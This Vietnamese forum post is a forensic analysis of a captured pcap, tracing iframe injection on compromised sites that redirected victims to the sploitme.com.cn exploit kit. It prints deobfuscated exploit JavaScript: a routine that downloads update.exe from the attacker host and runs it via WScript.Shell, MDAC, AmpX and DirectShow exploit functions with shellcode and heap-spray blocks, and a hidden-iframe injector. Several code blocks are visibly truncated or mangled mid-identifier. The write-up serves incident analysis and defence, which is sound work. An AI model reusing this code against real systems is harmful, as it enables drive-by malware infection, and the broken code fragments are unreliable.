tctuvan

New Member
Giới thiệu tình huống
Các máy tính trong mạng của công ty X có những biểu hiện trì trệ không rõ nguyên nhân, quản trị viên của công ty xác nhận sự cố phát sinh cũng như mức độ nghiêm trọng đối với từng máy là không giống nhau. Đội ngũ an ninh hệ thống đã thực hiện rà soát toàn bộ hệ thống mạng cũng như các lưu lượng mạng ra vào để tìm kiếm dấu vết của tấn công nhưng chưa cho kết quả chính xác. Ở vị trí điều tra viên, chúng ta nhận được yêu cầu điều tra sự cố từ gói tin khả nghi phía công ty đồng thời đưa ra giải pháp kịp thời khắc phục và ngăn chặn cuộc tấn công nếu có.
Các bước thực hiện
Dựa vào tình huống thực tế đã đưa ra, chúng ta cần lên kế hoạch phân tích điều tra theo các bước cụ thể nhằm đem lại kết quả nhanh chóng và chính xác nhất. Quá trình điều tra được thực hiện lần lượt theo 5 bước sau:
  • Bước 1: Xác định tính toàn vẹn của chứng cứ đã thu thập được mà chúng ta cần điều tra (ở đây là gói tin khả nghi từ phía công ty X).
  • Bước 2: Liệt kê danh sách các giao thức, các địa chỉ IP, tên máy, tên miền tìm thấy trong gói tin, từ đó xác định chính xác tấn công xảy ra đối với giao thức nào cũng như IP nào, máy nào có liên quan đến cuộc tấn công.
  • Bước 3: Liệt kê tất cả danh sách các trang web cũng như các kết nối đáng ngờ từ gói tin khả nghi, sau đó tiến hành khôi phục lại và phân tích những tập tin có khả năng chứa mã độc.
  • Bước 4: Xác định hệ điều hành nào là mục tiêu của cuộc tấn công cũng như các hành động được thực hiện bởi kẻ tấn công, từ đó xác định danh sách các phần mềm trên hệ thống có thể bị khai thác.
  • Bước 5: Từ những gì đã phân tích được, đưa ra giải pháp để giảm thiểu và ngăn chặn tấn công xảy ra đối với hệ thống.
Sau khi thu thập được gói tin khả nghi từ phía công ty X, sao chép nội dung gói tin sang một máy tính khác để phân tích (tên gói tin là
sploitme.com.cn.pcap
. Công đoạn đầu tiên trước khi thực hiện quá trình phân tích là kiểm tra tính toàn vẹn của chứng cứ thu thập được (ở đây là gói tin khả nghi), tiến hành băm gói tin thu được và so sánh với chuỗi băm lấy từ gói tin gốc phía công ty X, kết quả so khớp.

8cecc80b2738a593199cbf313a6bb3cbb0817ba9d4465c36c0d9629d4cc095cc *.\\
sploitme.com.cn.pcap


Tiếp theo ta liệt kê tất cả các giao thức tìm được trong gói tin này bằng cách sử dụng Tshark. Kết quả thu được như hình dưới:

Hình 1. Tất cả các giao thức tìm thấy trong gói tin thu được

Thống kê thấy 745 frames Ethernet trong đó có 725 IP datagrams và 20 ARP frames. Trong 725 IP datagrams có 156 UDP datagrams, 553 TCP segments, 8 gói IGMP và 8 gói ICMP. Các giao thức ở lớp cao hơn được tìm thấy là:
  • BOOTP (DHCP) liên quan đến việc cấu hình địa chỉ động cho máy chủ.
  • NetBIOS Name Server (NBNS), NetBIOS datagram, Server Message Block, Mailslot và BROWSER cho thấy máy chủ chạy trên hệ điều hành Windows.
  • DNS – Dịch vụ phân giải tên miền
  • HTTP – giao thức web cơ bản
Dựa vào thông tin vừa thu được có thể thấy các lưu lượng mạng là những traffic bình thường: DHCP được sử dụng để cấu hình IP, NBNS và những giao thức mạng Windows khác được dùng để đăng kí một máy chủ mới vào nhóm (workgroup), IGMP được sử dụng để tham gia nhóm multicast UPNP và DNS được dùng để phân giải tên miền. Vậy có thể kết luận HTTP là giao thức duy nhất liên quan đến sự cố đang xảy ra. Tiếp theo liệt kê tất cả tên các máy có liên quan trong gói tin thu được bằng tshark:

Hình 2. Địa chỉ các máy liên quan trong gói tin thu được

Nhận thấy 4 máy đầu tiên gần như có cùng một địa chỉ MAC, hay ít nhất là có cùng một định danh duy nhất về hãng sản xuất. Tra cứu trên IEEE OUI thu được kết quả:

Hình 3. Kết quả tra cứu tên nhà sản xuất từ địa chỉ MAC

Từ kết quả này có thể xác định 4 máy này đang chạy trong máy ảo VirtualBox. Địa chỉ MAC cuối cùng trong danh sách ở trên cũng là một máy ảo VB nhưng với thiết lập card mạng là NAT. Tiếp theo, liệt kê các địa chỉ IP trong gói tin thu được:

Hình 4. Các địa chỉ IP trong gói tin thu được

Trong máy ảo VirtualBox với chế độ NAT thì card mạng được cấp dải 10.0.x.0/24 theo mặc định cho các máy trong đó x thay mặt cho số hiệu card mạng của máy ảo. Vì vậy, đối với máy ảo này:
  • Card mạng đầu tiên có địa chỉ 10.0.2.15 với default gateway là 10.0.2.2
  • Card mạng thứ 2 có địa chỉ 10.0.3.15 với default gateway 10.0.3.2
  • Card mạng thứ 3 có địa chỉ 10.0.4.15 với default gateway 10.0.4.2
  • Tương tự, card mạng thứ 4 cũng là card mạng cuối cùng có địa chỉ 10.0.5.15 và default gateway 10.0.5.2.
Điều này chỉ ra đây là một máy ảo với 4 card mạng ảo và cấu hình ở chế độ NAT. Ngoài ra còn một nhóm 3 IP thuộc dải 192.168.56.0/24, đây là dải được sử dụng mặc định trong VirtualBox cho mạng ảo đặc biệt hoạt động ở chế độ host-only: vboxnet0. Vậy có thể kết luận 3 máy này cũng là các máy ảo. NBNS và giao thức BROWSER được sử dụng trong nội dung gói tin thu được, từ đó có thể lấy tên máy cho các máy sử dụng các giao thức này bằng cách lắng nghe thông báo trình duyệt, đặc biệt là thông báo máy (Host announcement):

Hình 5. Tên các máy sử dụng các giao thức NBNS và BROWSER

“browser.command==1” là bộ lọc dành riêng cho thông báo máy chủ còn trường “browser.server” cho biết tên máy của máy chủ thông báo. Từ 4 máy có cùng tên NetBIOS có thể kết luận đây là một máy ảo hay các bội số từ bản sao một máy ảo. Tiếp theo thử tìm hiểu để biết những trình duyệt nào được sử dụng từ phía máy ảo:

Hình 6. Các trình duyệt được sử dụng từ phía máy ảo

Kết quả cho thấy có 3 trình duyệt khác nhau được sử dụng là Firefox 3.5.3 trên Windows XP; IE 6.0 trên Windows XP và Firefox 0.8 trên Linux Có khả năng các máy này là một máy ảo duy nhất, máy ảo này có thể là một Honeyclient sử dụng các chuỗi user-agent giả mạo để kiểm tra các trang web chứa mã độc. Để liệt kê các tên miền liên quan đến việc giao tiếp, ít nhất có hai nguồn có thể được sử dụng:
  • Đầu tiên là truy vấn DNS:

Hình 7. Các truy vấn DNS trong nội dung gói tin thu được

Trong hình trên, cột đầu tiên là các máy chủ gửi yêu cầu hay địa chỉ của máy chủ DNS, cột thứ hai cho biết máy chủ đang thực hiện truy vấn (0) hay phản hồi (1) và cột thứ 3 là địa chỉ các trang web truy vấn. Kết quả này không nói lên được gì nhiều.
  • Nguồn thông tin thứ hai dựa trên tên miền là trường header của các HTTP request. Danh sách các HTTP request (lọc bằng uniq) với tshark:

Hình 8. Danh sách các HTTP requests

Khá thú vị khi có 3 tên miền không xuất hiện trong các truy vấn DNS nhưng nằm ở kết quả trên:
rapidshare.com.eyu32.ru
,
sploitme.com.cn

shop.honeynet.sg
. Thông tin này cho thấy máy chủ thực hiện truy vấn đã biết các IP liên kết với các tên miền này (thông qua bộ nhớ cache của DNS). Danh sách này cũng chỉ rõ
  • IP 192.168.56.50 là
    rapidshare.com.eyu32.ru
  • IP 192.168.56.51 là
    shop.honeynet.sg
  • IP 192.168.56.52 là
    sploitme.com.cn
Tiếp theo thử liệt kê tất cả các trang web được yêu cầu từ các máy chủ:
Từ kết quả thu được phát hiện một số truy vấn khả nghi bắt nguồn từ địa chỉ
sploit.com.cn
:
Địa chỉ đường dẫn khả nghi làm liên tưởng đến một hành vi “khai thác”. Phần lớn các cuộc tấn công web dựa vào các kịch bản trên máy khách (javascript, VBScript). Việc sử dụng các script trong một trang html được định dạng bằng một thẻ html đặc biệt:
Sử dụng công cụ Malzilla để giải nhiễu (deobfuscate) đoạn script trên ta thu được nội dung sau:


Code:
document.write(unescape(“%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%70%6C%6F%69%74%6D%65%2E%63%6F%6D%2E%63%6E%2F%3F%63%6C%69%63%6B%3D%33%66%65%62%35%61%36%62%32%66%22%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A
”));

Tiếp tục thực hiện URL decode ta có kết quả cuối cùng:


document.write(unescape
(“http://sploitme.com.cn/?click=3feb5a6b2f“));

Vậy là, đoạn script này hướng trình duyệt truy cập đến URL trong một frame ẩn có kích thước 1×1 pixel. Mục đích của việc chuyển hướng này là bí mật dẫn dắt nạn nhân truy cập đến một máy chủ khai thác, cụ thể ở đây là
sploit.com.cn
. Đây cũng là kịch bản tương tự đối với hai IP 10.0.3.15 và 10.0.4.15 đã truy cập đến trang này. Hành động này cũng có nghĩa là việc chuyển hướng không phụ thuộc vào loại trình duyệt sử dụng ở phía máy khách mà chỉ là một sự điều hướng tĩnh đến trang
sploitme.com.cn
. Trang web khả nghi tiếp theo là /fg/
show.php
? s=3feb5a6b2f từ
sploitme.com.cn
, thêm một lần nữa việc gây nhiễu script lại được sử dụng, nội dung của script được tạo ra khi máy 10.0.2.15 truy cập vào trang web:

Code:

Script được tạo ra khi máy 10.0.3.15 truy cập cùng trang web trên (/fg/
show.php
? s=3feb5a6b2f):

Code:

Dù chưa thực hiện giải mã, chúng ta vẫn dễ dàng nhận thấy nội dung các script được tạo ra là không giống nhau. Có thể kết luận những script này được tạo ra một cách tự động bởi các máy chủ khai thác. Có khả năng quá trình tạo ra script là dựa vào thuộc tính của các máy truy cập đến (ví dụ như loại trình duyệt sử dụng, hệ điều hành máy nạn nhân, quốc gia…). Trang web này lưu trữ các kịch bản tấn công sẽ được sử dụng để khai thác máy nạn nhân. Thêm một truy cập khác từ máy 10.0.4.15 đến trang web
shop.honeynet.sg
với yêu cầu đầu tiên vào /catalog/ cũng có mã javascript khả nghi:

Code:

Kịch bản trên sử dụng một bộ giải mã chuỗi nơi mà nội dung mã hóa của biến s được giải mã và xuất ra biến m. Chuỗi này sau đó được ghi ra sử dụng hàm
document.write(m
) Thực hiện giải mã script ta thu được nội dung biến m:

Code:
m = “http://sploitme.com.cn/?click=84c090bd86”

Vậy tương tự như trang
login.php
từ
rapidshare.com.eyu32.ru
, script này giải mã và sau đó chèn một iframe trong nội dung html để chuyển hướng trình duyệt nạn nhân đến máy chủ khai thác:
sploitme.com.cn
. Sau khi được chuyển tiếp 2 lần (vấn đề này chúng ta sẽ giải thích ở đoạn sau), máy 10.0.4.15 yêu cầu đến /fg/
show.php
? s=84c090bd86 từ
sploitme.com.cn
.
Máy chủ khai thác sẽ sử dụng trang này để cố gắng khai thác nhiều lỗ hổng với kịch bản được mã hóa trong script dưới đây:

Code:

Và với nạn nhân cuối cùng, máy 10.0.5.15 truy cập vào /fg/
show.php
từ
sploitme.com.cn
. Với trình duyệt sử dụng là Firefox 0.8 trên Linux. Khá thú vị, đoạn javascript được tạo ra giống hệt với trường hợp máy 10.0.2.15 khi truy cập vào /fg/
show.php?s=3feb5a6b2f
(máy này cũng sử dụng trình duyệt Firefox). Điều này giúp chúng ta đi đến một kết luận chắc chắn rằng máy chủ
sploitme.com.cn
khai thác nạn nhân bằng việc tự động tạo ra các script dựa trên loại trình duyệt của máy truy cập. Cho đến lúc này, chúng ta có thể tóm tắt toàn bộ quá trình khai thác theo các bước sau:
  • Trước tiên, nạn nhân truy cập vào một máy chủ web đã bị thỏa hiệp. Trong trường hợp này, hai trang web có khả năng đã bị thỏa hiệp là
    rapidshare.com.eyu32.ru

    shop.honeynet.sg
    . Những trang web này có thể đã bị khai thác bằng phương pháp iframe injection (chèn thêm nội dung iframe vào mã nguồn của trang web ban đầu).
  • Bằng việc sử dụng iframe ẩn này, trình duyệt của nạn nhân vô tình bị chuyển đến máy chủ khai thác
    sploitme.com.cn
    (cụ thể là đến một địa chỉ trong dạng /?click=xxxxxxxxx với xxxxxxxxx là một chuỗi thập lục phân)
  • Để phản hồi yêu cầu này, máy chủ khai thác sử dụng một mã phản hồi HTTP là “302 Found” và một header của HTTP response với trường “Location:” để chuyển hướng trình duyệt đến trang lưu trữ các kịch bản khai thác. Mục đích của việc này là để đưa nạn nhân đến một máy chủ khai thác “tốt” hơn, dựa trên thuộc tính của các nạn nhân.
  • Sau quá trình chuyển hướng, nạn nhân sẽ tiếp xúc với trang tấn công. Tại thời điểm này hành vi của máy chủ khai thác sẽ phụ thuộc vào loại người dùng (người dùng mới hay đã từng truy cập và bị khai thác ít nhất một lần) và loại trình duyệt được sử dụng (Firefox hay IE…) khi yêu cầu trang, cụ thể:
    • Người dùng truy cập mới, sử dụng Firefox sẽ nhận được một script với mã vô hại
    • Người dùng truy cập mới, sử dụng IE sẽ bị tấn công
    • Người dùng đã từng truy cập truy cập lại (đã bị khai thác từ lần đầu) sẽ không bị tấn công lại (trang nhận được không chứa script khai thác)
    • Tất cả các khai thác được sử dụng có cùng một mục tiêu: chỉ dẫn cho máy nạn nhân tải về một tệp tin nhị phân độc hại và thực thi nó.
Phỏng đoán kẻ tấn công có thể đã sử dụng bộ công cụ khai thác Web như Mpack hay IcePack Quay trở lại quá trình điều tra, bây giờ chúng ta sẽ đi sâu phân tích các script khai thác để hiểu rõ ý đồ kẻ tấn công: Trước tiên đối với máy 10.0.2.15 bị chuyển hướng từ trang
rapidshare.com.eyu32.ru
đến trang /fg/
show.php?s=3feb5a6b2f
của
sploitme.com.cn
. Trang web trả về có nội dung sau khi giải mã:

Code:
function Complete() { setTimeout(‘
location.href
= “about:blank’,2000); } function CheckIP() { var req=null; try{ req=new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) { try{ req=new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) { try { req=new XMLHttpRequest(); } catch(e){} } } if(req==null) return”0″; 
req.open(“GET”,”/fg/show.php?get_ajax=1&r
=” + Math.random(),false); 
req.send(null
); if(req.responseText==”1″) { return true; } else{return false;} } Complete();

Có hai hàm được định nghĩa trong đoạn code trên:
  • Complete(): Hàm này chuyển trình duyệt đến một trang trắng (about:blank) sau thời gian timeout là 2 giây
  • CheckIP():
    • Trước tiên hàm này cố gắng tạo một đối tượng XMLHTTPRequest có tên req. Hai khối “try” và “catch” được sử dụng để tạo ra đối tượng ActiveX XMLHTTP (đối với IE) hay XMLHTTPRequest() (đối với Firefox).
    • Sau đó, nếu các đối tượng được tạo thành công nó sẽ kết nối đến /fg/
      show.php?get_ajax=1&r=”random_value
    • Máy chủ sẽ phản hồi lại yêu cầu với một nội dung nào đó
    • Nếu giá trị trả về là 1, hàm trả về đúng, ngược lại là sai.
Tên của hàm này làm chúng ta liên tưởng đến việc kiểm tra nạn nhân xem họ đã từng bị khai thác hay chưa. Máy chủ khai thác có thể đã sử dụng một loại cơ sở dữ liệu lưu các địa chỉ IP của nạn nhân đã từng khai thác. Ngay cả khi hai hàm này đã được định nghĩa, chỉ có hàm Complete() thực thi mới làm cho kịch bản là vô hại với máy 10.0.2.15 (sử dụng trình duyệt Firefox 3.5.3 không bị tấn công bởi
sploitme.com.cn
).
Máy tiếp theo truy cập trang này là 10.0.3.15, sử dụng trình duyệt IE6 trong Windows XP SP2. Quá trình chuyển hướng thông qua iframe cũng tương tự như trường hợp máy 10.0.2.15 nên cũng sẽ gặp cùng một trang. Tuy nhiên, lúc này sẽ có script khác được tạo ra. Giải mã script nhận được trong trường hợp này thu được:
Code:
function Complete() { setTimeout(‘
location.href
= “about:blank’,2000);} function CheckIP(){var req=null; try{ req=new ActiveXObject(“Msxml2.XMLHTTP”);} catch(e){ try{ req=new ActiveXObject(“Microsoft.XMLHTTP”);} catch(e){ try{ req=new XMLHttpRequest();} catch(e){}}} if(req==null)return”0″; 
req.open(“GET”,”/fg/show.php?get_ajax=1&r=”+Math.random(),false
); 
req.send(null
); if(req.responseText==”1″){ return true;} else{ return false;}} var urltofile=’http://sploitme.com.cn/fg/load.php?e=1′; var filename=’
update.exe
'; function CreateO(o,n){ var r=null;try{r=o.CreateObject(n)}catch(e){} if(!r){try{r=o.CreateObject(n,”)}catch(e){}} if(!r){try{r=o.CreateObject(n,”,”)}catch(e){}} if(!r){try{r=o.GetObject(”,n)}catch(e){}} if(!r){try{r=o.GetObject(n,”)}catch(e){}} if(!r){try{r=o.GetObject(n)}catch(e){}} return r;} function Go(a){ var s=CreateO(a,’
WScript.Shell
’); var o=CreateO(a,’ADODB.Stream’); var e=s.Environment(‘Process’); var xhr=null; var bin=e.Item(‘TEMP’)+’\\’+filename;try{xhr=new XMLHttpRequest();} catch(e){try{ xhr=new ActiveXObject(‘Microsoft.XMLHTTP’);} catch(e){ xhr=new ActiveXObject(‘MSXML2.ServerXMLHTTP’);}} if(!xhr)return(0);
xhr.open(‘GET’,urltofile,false
) 
xhr.send(null
); var filecontent=xhr.responseBody; o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.SaveToFile(bin,2);s.Run(bin,0);} function mdac(){var i=0;var objects=new Array(‘{BD96C556-65A3-11D0-983A-00C04FC29E36}’,'{BD96C556-65A3-11D0-983A-00C04FC29E36}’,'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}’,'{0006F033-0000-0000-C000-000000000046}’,'{0006F03A-0000-0000-C000-000000000046}’,'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}’,'{6414512B-B978-451D-A0D8-FCFDF33E833C}’,'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}’,'{06723E09-F4C2-43c8-8358-09FCD1DB0766}’,'{639F725F-1B2D-4831-A9FD-874847682010}’,'{BA018599-1DB3-44f9-83B4-461454C84BF8}’,'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}’,'{E8CCCDDF-CA28-496b-B050-6C07C962476B}’,null);while(objects){var  a=null;if(objects.substring(0,1)=='{‘){a=document.createElement(‘object’);a.setAttribute(‘classid’,’clsid:’+objects.substring(1,objects.length-1));}else{try{a=new ActiveXObject(objects);}catch(e){}} if(a){try{ var b=CreateO(a,’
WScript.Shell
’); if(b){if(Go(a)){if(CheckIP()){Complete();} else{Complete();} return true;}}}catch(e){}} i++;} Complete();} mdac();

Phát hiện 3 hàm mới trong nội dung script thu được:
  • CreatO(o,n): Được sử dụng để tạo các đối tượng
  • Go(a):
    • Hàm này sẽ cố gắng tải về một tập tin nhị phân từ sử dụng đối tượng XMLHTTP ActiveX. Việc sử dụng đối tượng ActiveX cho thấy những kẻ tấn công chỉ muốn khai thác trên IE
    • Sau đó, với đối tượng ADODB.stream, các luồng nhị phân được lưu vào một tập tin có tên “
      update.exe
      ” và nằm trong thư mục được lưu ở biến môi trường “TEMP”
    • Cuối cùng tập tin nhị phân này được thực thi bởi một hàm Run của đối tượng
      Wscript.Shell
      trỏ đến file nhị phân đã lưu.
  • mdac(): hàm này cố gắng khai thác lỗ hổng được tìm thấy trong dữ liệu của Microsoft là CVE-2006-0003, MS Security bulletin : MS06-014.
Lần này script là có hại, mdac() được thực hiện nếu máy nạn nhân có lỗ hổng nêu trên. Quan sát kỹ hơn ở frame 178 trong gói tin .pcap xuất hiện yêu cầu tải một URL http://sploitme.com.cn/fg/load.php?e=1, có thể kết luận việc khai thác đã thành công, máy nạn nhân đã tải về và thực thi tập tin nhị phân. Sau đó trong traffic HTTP của máy 10.0.3.15 tiếp tục bị chuyển hướng một lần nữa đến trang
rapidshare.com.eyu32.ru
. Nhưng lúc này, các trang trả về không nhúng bất cứ một script nào. Điều này chứng tỏ đã có một cuộc kiểm tra thực hiện bởi máy chủ khai thác và xác minh máy 10.0.3.15 đã là nạn nhân bị khai thác từ trước. Cuối cùng, điều tra trang web được truy cập bởi máy 10.0.4.15, nạn nhân bị chuyển hướng đến máy chủ khai thác bởi một frame ẩn trên trang
shop.honeynet.sg/catalog
/. Máy nạn nhân đang sử dụng trình duyệt IE6 trên Windows XP. Một lần nữa thực hiện giải mã nội dung script trả về, thu được kết quả:

Code:
function Complete(){ setTimeout(‘
location.href
= “about:blank’,2000);} function CheckIP(){ var req=null;try{req=new ActiveXObject(“Msxml2.XMLHTTP”);}catch(e){try{req=new ActiveXObject(“Microsoft.XMLHTTP”);}catch(e){try{req=new XMLHttpRequest();}catch(e){}}} if(req==null)return”0″;
req.open(“GET”,”/fg/show.php?get_ajax=1&r=”+Math.random(),false);req.send(null);if(req.responseText==”1″){return
true;}else{return false;}} var urltofile=’http://sploitme.com.cn/fg/load.php?e=1′;var filename=’
update.exe';function
ateO(o,n){var r=null;try{r=o.CreateObject(n)}catch(e){} if(!r){try{r=o.CreateObject(n,”)}catch(e){}} if(!r){try{r=o.CreateObject(n,”,”)}catch(e){}} if(!r){try{r=o.GetObject(”,n)}catch(e){}} if(!r){try{r=o.GetObject(n,”)}catch(e){}} if(!r){try{r=o.GetObject(n)}catch(e){}} return r;} function Go(a){ var s=CreateO(a,’
WScript.Shell’);var
o=CreateO(a,’ADODB.Stream’);var e=s.Environment(‘Process’);var xhr=null;var bin=e.Item(‘TEMP’)+’\\’+filename;try{xhr=new XMLHttpRequest();} catch(e){try{xhr=new ActiveXObject(‘Microsoft.XMLHTTP’);} catch(e){xhr=new ActiveXObject(‘MSXML2.ServerXMLHTTP’);}} if(!xhr)return(0);
xhr.open(‘GET’,urltofile,false
) 
xhr.send(null);var
  filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.SaveToFile(bin,2);s.Run(bin,0);} function mdac(){var i=0;var objects=new Array(‘{BD96C556-65A3-11D0-983A-00C04FC29E36}’,'{BD96C556-65A3-11D0-983A-00C04FC29E36}’,'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}’,'{0006F033-0000-0000-C000-000000000046}’,'{0006F03A-0000-0000-C000-000000000046}’,'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}’,'{6414512B-B978-451D-A0D8-FCFDF33E833C}’,'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}’,'{06723E09-F4C2-43c8-8358-09FCD1DB0766}’,'{639F725F-1B2D-4831-A9FD-874847682010}’,'{BA018599-1DB3-44f9-83B4-461454C84BF8}’,'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}’,'{E8CCCDDF-CA28-496b-B050-6C07C962476B}’,null);while(objects){var  a=null;if(objects.substring(0,1)=='{‘){a=document.createElement(‘object’);a.setAttribute(‘classid’,’clsid:’+objects.substring(1,objects.length-1));}else{try{a=new ActiveXObject(objects);}catch(e){}} if(a){try{var b=CreateO(a,’
WScript.Shell’);if(b){if(Go(a)){if(CheckIP()){Complete();}else{aolwinamp
();} return true;}}}catch(e){}} i++;} aolwinamp();} function aolwinamp(){try{var obj=document.createElement(‘object’);
document.body.appendChild(obj);obj.id=’IWinAmpActiveX';obj.width=’1′;obj.height=’1′;obj.data=’./directshow.php';obj.classid=’clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';var
nescape(“%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D”);var bigblock=unescape(“%u0c0c%u0c0c”);var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length’);
document.write(‘bof=string(1400,unescape(“%ff
”)) + string(1000,unescape(“%0c”))’);
document.write(‘IWinAmpActiveX.ConvertFile
bof,1,1,1,1,1′);
document.write(‘IWinAmpActiveX.ConvertFile
bof,1,1,1,1,1′);
document.write(‘IWinAmpActiveX.ConvertFile
bof,1,1,1,1,1′);
document.write(‘IWinAmpActiveX.ConvertFile
bof,1,1,1,1,1′);
document.write(‘’);}catch(e
rectshow();} function directshow(){var shellcode=unescape(“%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D”);var bigblock=unescape(“%u9090%u9090″);var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length

Lần này có thêm 5 hàm mới được định nghĩa, tất cả đều nhằm mục tiêu khai thác lỗ hổng của Windows:
  • aolwinamp(): cố gắng khai thác 1 lỗ hổng trong
    AmpX.dll
    (hàm ConvertFile()) BID-35028.
  • directshow(): cố gắng khai thác lỗi tràn bộ đệm (stack overflow) trong hàm CComVariant::ReadFromStream của thư viện Active Template Library (ATL) (CVE-2008-0015)
  • snapshot(): cố gắng khai thác lỗ hổng trong Microsoft Office Snapshot Viewer
    snapview.ocx
    (CVE-2008-2463)
  • com(): cố gắng khai thác lỗ hổng thuộc đối tượng COM. Các clsid sử dụng, đặc biệt là trong
    msdds.dll
    (MS05-052/CVE-2005-2127)
  • spreadsheet(): cố gắng khai thác lỗ hổng trong MS Office Web Components Spreadsheet sử dụng cách msDataSourceObject (MS09-043/CVE-2009-2496)
Trong những hàm khai thác trên, ngoại trừ mdac() và snapshot(), còn lại đều sử dụng shellcode trong quá trình khai thác. Các hàm khai thác này được đưa ra theo một thứ tự cụ thể và phân tích các script này cho thấy hàm CheckIP() được dùng để xác minh các nạn nhân đã bị khai thác thành công trước đó. Chú ý vào các phiên HTTP giữa máy 10.0.4.15 với máy chủ khai thác, chúng ta có thể thấy rằng nó đã tải về và truy vấn nhiều URL độc hại:
Code:
/fg/
load.php?e=1
(2 lần) /fg/
load.php?e=3
(1 lần).
Địa chỉ đầu tiên được tham chiếu bởi một biến sử dụng trong hàm khai thác mdac(), và như máy 10.0.3.15 đã thực hiện trước đây, máy 10.0.4.15 sẽ yêu cầu URL này 2 lần. URL thứ hai không xuất hiện trong nội dung script, điều này có nghĩa là nó chắc chắn được sử dụng trong một shellcode nào đó. Thực hiện phân tích các shellcode sẽ thấy được địa chỉ này nằm trong nội dung của shellcode nào.
  • Trước tiên với hàm aolwinamp(): Trích xuất nội dung của shellcode ra một file riêng (ở đây chúng ta đặt là
    aolwinamp.js
    )

Hình 12. Nội dung shellcode của hàm aolwinamp()

Để gỡ rối các khối của shellcode, chúng ta sử dụng một script Perl đơn giản: cat Desktop/
aolwinamp.js
| perl -pe ‘s/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge’ | hexdump -C | more Thu được kết quả:

Hình 13. Kết quả phân tích shellcode của hàm aolwinamp()

Dễ dàng thấy được URL thứ 2 mà máy 10.0.4.15 đã truy cập và bị khai thác. Với cách làm tương tự cho 3 hàm còn lại chúng ta có kết quả chi tiết:
  • Hàm aolwinamp() khai thác dựa vào URL:
  • Hàm directshow() khai thác dựa vào URL:
  • Hàm com() khai thác dựa vào URL:
  • Hàm spreadsheet() khai thác dựa vào URL:
Đến bây giờ, việc điều tra phân tích đã đi đến hồi kết, chúng ta đã có cái nhìn chính xác về hình thức cũng như phương pháp khai thác của kẻ tấn công. Có thể đưa ra một kết luận cuối về đối tượng của cuộc tấn công này như sau:
  • Tất cả khai thác tìm thấy trong các đoạn javascript độc hại đều nhằm đến mục tiêu là nền tảng MS Windows (98, 98SE, ME, 2000, XP, 2003, Vista, 2008)
  • Các phần mềm có khả năng bị khai thác:
    • Microsoft Data Access Components 2.7 and 2.8 SP1 and SP2
    • AOL Radio AmpX ActiveX (
      AmpX.dll
      2.4.6)
    • DirectShow
    • Microsoft Access 2000 to 2003
    • Internet Explorer 5 , IE 5.5 , IE 6
    • MS Office XP , MS Office 2003, MS Office 2000, 2003 and XP Web components
Hầu hết các cuộc tấn công đều có thể được ngăn chặn bằng cách cài đặt các bản vá đưa ra bởi nhà cung cấp phần mềm ứng dụng. Dù chưa thực sự có bản vá cung cấp để ngăn chặn việc khai thác vào
AmpX.dll
